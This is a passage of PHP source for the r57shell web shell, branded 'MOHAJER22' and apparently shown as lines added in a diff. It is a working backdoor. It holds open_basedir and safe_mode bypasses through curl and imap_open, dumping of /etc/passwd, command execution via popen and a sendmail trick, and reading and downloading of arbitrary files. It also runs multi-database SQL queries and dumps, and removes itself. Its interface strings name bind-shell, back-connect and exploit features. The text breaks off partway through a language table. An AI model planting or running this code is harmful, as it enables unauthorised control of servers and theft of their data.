ÑÌÅÍÈÒÜ ÏÅÐÅÄ ÐÀÇÌÅÙÅÍÈÅÌ ÍÀ ÑÅÐÂÅÐÅ!!! (CHANGE THIS!!!) +// Ëîãèí è ïàðîëü øèôðóþòñÿ ñ ïîìîùüþ àëãîðèòìà md5, çíà÷åíèÿ ïî óìîë÷àíèþ 'r57' +// Login & password crypted with md5, default is 'r57' +$name='7fea0708f4bc4266ab5efcd242028106'; // ëîãèí ïîëüçîâàòåëÿ (user login) +$pass='a66abb5684c45962d887564f08346e8d'; // ïàðîëü ïîëüçîâàòåëÿ (user password) +/******************************************************************************************************/ +if(empty($_POST['Mohajer22'])){ + +} else { +$m=$_POST['Mohajer22']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +} + + + +$string = !empty($_POST['string']) ? $_POST['string'] : 0; +$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0; + +if ($string && $switch == "file") { +$stream = imap_open($string, "", ""); + +$str = imap_body($stream, 1); +if (!empty($str)) +echo "<pre>".$str."</pre>"; +imap_close($stream); +} elseif ($string && $switch == "dir") { +$stream = imap_open("/etc/passwd", "", ""); +if ($stream == FALSE) +die("Can't open imap stream"); + +$string = explode("|",$string); +if (count($string) > 1) +$dir_list = imap_list($stream, trim($string[0]), trim($string[1])); +else +$dir_list = imap_list($stream, trim($string[0]), "*"); +echo "<pre>"; +for ($i = 0; $i < count($dir_list); $i++) +echo "$dir_list[$i]"."<p>&nbsp;</p>" ; +echo "</pre>"; +imap_close($stream); +} + + +if ($_POST['plugin'] && ($submit == "Show")){ + $param1 = $_POST[param1]; + $param2 = $_POST[param2]; + + switch($_POST['plugin']){ + case("cat /etc/passwd"): + for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "<br>"; + } + } + + break; + + case ("/bin/ls"): + if($param1){$exec = "/bin/ls ". $param1;} + else{$exec = "/bin/ls";} + $fp = popen("$exec", "r"); + print $fp; + pclose($fp); + break; + + case("tempnam"): + $cmd = $param1; + $script=tempnam("/tmp", "script"); + $cf=tempnam("/tmp", "cf"); + $fd = fopen($cf, "w"); + fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script"); + fclose($fd); + $fd = fopen($script, "w"); + fwrite($fd, "rm -f $script $cf; "); + fwrite($fd, $cmd); + fclose($fd); + break; + + case("/tmp"): + $target_file= $param1; + if (!$param2){$tmp_file="/tmp/tmp.ghc";} + else{$tmp_file = $param2;} + print copy($target_file, $tmp_file); + + $handle = fopen ($tmp_file, "r"); + while (!feof ($handle)) { + $buffer = fgets($handle, 4096); + echo $buffer; + } + fclose ($handle); + break; + + } + } + +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "1.3"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="r57shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>"); + } +} +$head = '<!-- Çäðàâñòâóé Âàñÿ --> +<html> +<head> +<title>MOHAJER22</title> +<meta http-equiv="Content-Language" content="en-us"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +BACKGROUND-COLOR: #000000; +COLOR:red; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +BACKGROUND-COLOR:black; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #000000; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #000000 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #000000 1px outset; +BACKGROUND-COLOR: #000000; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #000000; +COLOR: #ffffff; +font: Fixedsys bold; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #993333; +COLOR: #ffffff; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR:black; +COLOR: #ffffff; +width: 40%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #000000; +COLOR: #ffffff; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +BACKGROUND-COLOR:black; +COLOR: #ffffff; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:red;TEXT-DECORATION: none} +</STYLE>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(isset($_GET['img'])&&!empty($_GET['img'])) + { + $images = array(); + $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; + $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; + @ob_clean(); + header("Content-type: image/gif"); + echo base64_decode($images[$_GET['img']]); + die(); + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>'Âûïîëíåííàÿ êîìàíäà', +'ru_text2' =>'Âûïîëíåíèå êîìàíä íà ñåðâåðå', +'ru_text3' =>'Âûïîëíèòü êîìàíäó', +'ru_text4' =>'Ðàáî÷àÿ äèðåêòîðèÿ', +'ru_text5' =>'Çàãðóçêà ôàéëîâ íà ñåðâåð', +'ru_text6' =>'Ëîêàëüíûé ôàéë', +'ru_text7' =>'Àëèàñû', +'ru_text8' =>'Âûáåðèòå àëèàñ', +'ru_butt1' =>'Âûïîëíèòü', +'ru_butt2' =>'Çàãðóçèòü', +'ru_text9' =>'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash', +'ru_text10'=>'Îòêðûòü ïîðò', +'ru_text11'=>'Ïàðîëü äëÿ äîñòóïà', +'ru_butt3' =>'Îòêðûòü', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-àäðåñ', +'ru_text14'=>'Ïîðò', +'ru_butt4' =>'Âûïîëíèòü', +'ru_text15'=>'Çàãðóçêà ôàéëîâ ñ óäàëåííîãî ñåðâåðà', +'ru_text16'=>'Èñïîëüçîâàòü', +'ru_text17'=>'Óäàëåííûé ôàéë', +'ru_text18'=>'Ëîêàëüíûé ôàéë', +'ru_text19'=>'Exploits', +'ru_text20'=>'Èñïîëüçîâàòü', +'ru_text21'=>'Íîâîå èìÿ', +'ru_text22'=>'datapipe', +'ru_text23'=>'Ëîêàëüíûé ïîðò', +'ru_text24'=>'Óäàëåííûé õîñò', +'ru_text25'=>'Óäàëåííûé ïîðò', +'ru_text26'=>'Èñïîëüçîâàòü', +'ru_butt5' =>'Çàïóñòèòü', +'ru_text28'=>'Ðàáîòà â safe_mode', +'ru_text29'=>'Äîñòóï çàïðåùåí', +'ru_butt6' =>'Ñìåíèòü', +'ru_text30'=>'Ïðîñìîòð ôàéëà', +'ru_butt7' =>'Âûâåñòè', +'ru_text31'=>'Ôàéë íå íàéäåí', +'ru_text32'=>'Âûïîëíåíèå PHP êîäà', +'ru_text33'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé open_basedir ÷åðåç ôóíêöèè cURL', +'ru_butt8' =>'Ïðîâåðèòü', +'ru_text34'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç ôóíêöèþ include', +'ru_text35'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç çàãðóçêó ôàéëà â mysql', +'ru_text36'=>'Áàçà . Òàáëèöà', +'ru_text37'=>'Ëîãèí', +'ru_text38'=>'Ïàðîëü', +'ru_text39'=>'Áàçà', +'ru_text40'=>'Äàìï òàáëèöû áàçû äàííûõ', +'ru_butt9' =>'Äàìï', +'ru_text41'=>'Ñîõðàíèòü â ôàéëå', +'ru_text42'=>'Ðåäàêòèðîâàíèå ôàéëà', +'ru_text43'=>'Ðåäàêòèðîâàòü ôàéë', +'ru_butt10'=>'Ñîõðàíèòü', +'ru_butt11'=>'Ðåäàêòèðîâàòü', +'ru_text44'=>'Ðåäàêòèðîâàíèå ôàéëà íåâîçìîæíî! Äîñòóï òîëüêî äëÿ ÷òåíèÿ!', +'ru_text45'=>'Ôàéë ñîõðàíåí', +'ru_text46'=>'Ïðîñìîòð phpinfo()', +'ru_text47'=>'Ïðîñìîòð íàñòðîåê php.ini', +'ru_text48'=>'Óäàëåíèå âðåìåííûõ ôàéëîâ', +'ru_text49'=>'Óäàëåíèå ñêðèïòà ñ ñåðâåðà', +'ru_text50'=>'Èíôîðìàöèÿ î ïðîöåññîðå', +'ru_text51'=>'Èíôîðìàöèÿ î ïàìÿòè', +'ru_text52'=>'Òåêñò äëÿ ïîèñêà', +'ru_text53'=>'Èñêàòü â ïàïêå', +'ru_text54'=>'Ïîèñê òåêñòà â ôàéëàõ', +'ru_butt12'=>'Íàéòè', +'ru_text55'=>'Òîëüêî â ôàéëàõ', +'ru_text56'=>'Íè÷åãî íå íàéäåíî', +'ru_text57'=>'Ñîçäàòü/Óäàëèòü Ôàéë/Äèðåêòîðèþ', +'ru_text58'=>'Èìÿ', +'ru_text59'=>'Ôàéë', +'ru_text60'=>'Äèðåêòîðèþ', +'ru_butt13'=>'Ñîçäàòü/Óäàëèòü', +'ru_text61'=>'Ôàéë ñîçäàí', +'ru_text62'=>'Äèðåêòîðèÿ ñîçäàíà', +'ru_text63'=>'Ôàéë óäàëåí', +'ru_text64'=>'Äèðåêòîðèÿ óäàëåíà', +'ru_text65'=>'Ñîçäàòü', +'ru_text66'=>'Óäàëèòü', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'Êîìàíäà', +'ru_text69'=>'Ïàðàìåòð1', +'ru_text70'=>'Ïàðàìåòð2', +'ru_text71'=>"Âòîðîé ïàðàìåòð êîìàíäû:\r\n- äëÿ CHOWN - èìÿ íîâîãî ïîëüçîâàòåëÿ èëè åãî UID (÷èñëîì) \r\n- äëÿ êîìàíäû CHGRP - èìÿ ãðóïïû èëè GID (÷èñëîì) \r\n- äëÿ êîìàíäû CHMOD - öåëîå ÷èñëî â âîñüìåðè÷íîì ïðåäñòàâëåíèè (íàïðèìåð 0777)", +'ru_text72'=>'Òåêñò äëÿ ïîèñêà', +'ru_text73'=>'Èñêàòü â ïàïêå', 